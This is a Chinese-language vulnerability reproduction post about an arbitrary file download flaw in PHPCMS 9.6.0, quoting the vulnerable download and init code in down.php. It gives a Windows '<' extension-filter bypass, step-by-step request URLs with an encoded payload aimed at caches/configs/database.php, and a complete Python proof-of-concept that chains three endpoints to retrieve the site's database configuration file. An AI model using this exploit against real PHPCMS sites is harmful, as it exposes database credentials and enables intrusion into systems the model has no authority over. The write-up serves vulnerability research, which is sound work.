美文网首页
[漏洞复现]phpcms9.6.0任意下载漏洞

[漏洞复现]phpcms9.6.0任意下载漏洞

作者: CMDY10086 | 来源:发表于2017-11-15 12:42 被阅读0次

    任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件
    触发点在download函数
    phpcms/modules/content/down.php

        public function download() {
            $a_k = trim($_GET['a_k']);
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
            if(empty($a_k)) showmessage(L('illegal_parameters'));
            unset($i,$m,$f,$t,$ip);
            parse_str($a_k);        
            if(isset($i)) $downid = intval($i);
            if(!isset($m)) showmessage(L('illegal_parameters'));
            if(!isset($modelid)) showmessage(L('illegal_parameters'));
            if(empty($f)) showmessage(L('url_invalid'));
            if(!$i || $m<0) showmessage(L('illegal_parameters'));
            if(!isset($t)) showmessage(L('illegal_parameters'));
            if(!isset($ip)) showmessage(L('illegal_parameters'));
            $starttime = intval($t);
            if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
            $fileurl = trim($f);
            if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));  
            $endtime = SYS_TIME - $starttime;
            if($endtime > 3600) showmessage(L('url_invalid'));
            if($m) $fileurl = trim($s).trim($fileurl);
            if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
            //远程文件
            if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
                header("Location: $fileurl");
            } else {
                if($d == 0) {
                    header("Location: ".$fileurl);
                } else {
                    $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                    $filename = basename($fileurl);
                    //处理中文文件
                    if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                        $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                        $filename = urldecode(basename($filename));
                    }
                    $ext = fileext($filename);
                    $filename = date('Ymd_his').random(3).'.'.$ext;
                    file_down($fileurl, $filename);
                }
            }
        }
    

    函数流程 从外部获取a_k参数->解密a_k字符串->parse_str注册变量,假设我们可以控制a_k参数,那么就
    可以将payload带入,实现任意文件下载(后续代码会对下载文件的后缀进行检测,
    在Windows下可以通过"<"符号来匹配文件,例如index.php可以使用index.ph<来完成绕过)

    再看init函数后几行

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
            if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
                $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
                $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
                $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
            } else {
                $downurl = $f;          
            }
            include template('content','download');
        }
    

    通过多个变量拼接生成变量$a_k并作为下载链接返回到客户端,所以需要再想办法控制这些变量
    返回init函数前几行

    public function init() {
            $a_k = trim($_GET['a_k']);
            if(!isset($a_k)) showmessage(L('illegal_parameters'));
            $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
            if(empty($a_k)) showmessage(L('illegal_parameters'));
            unset($i,$m,$f);
            parse_str($a_k);
    

    这些变量的值还是来自外部的a_k参数,然后解密并由parse_str注册而成。这就回到了v9.6.0wap注入
    的触发处

    验证:

    1. 拿到加密后的cookie
      http://192.168.42.133/phpcms/install_package/index.php?m=wap&c=index&siteid=1
    2. 注意userid_flash的值以及要下载的位置
      http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
      POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj
    3. 得到a_k的值再访问init函数
      http://192.168.42.133/phpcms/install_package/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE
    4. 点击下载即可
    #POC
    #coding:utf-8
    import requests
    import re
    url = 'http://192.168.42.133/phpcms/install_package/index.php'
    s = requests.session()
    params_get_userid = {
        'm':'wap',
        'c':'index',
        'siteid':'1',
    }
    rep = s.get(url,params=params_get_userid)
    for cookie in rep.cookies:
        if '_siteid' in cookie.name:
            userid = cookie.value #userid为第一次加密的$this->userid
    payload = '%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26' 
    url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
    data = {'userid_flash':userid}
    rep = s.post(url_get_encode,data=data)
    for cookie in rep.cookies:
        if '_att_json' in cookie.name:
            encode_payload = cookie.value
        
    params = {
        'm':'content',
        'c':'down',
        'a_k':encode_payload,
    }
    rep = s.get(url,params=params)
    content = rep.content#此时已经有下载链接了
    file = re.findall(r'<a href="(.+?)"',content)[0]
    print s.get(url+file).content
    

    相关文章

      网友评论

          本文标题:[漏洞复现]phpcms9.6.0任意下载漏洞

          本文链接:https://www.haomeiwen.com/subject/usmcvxtx.html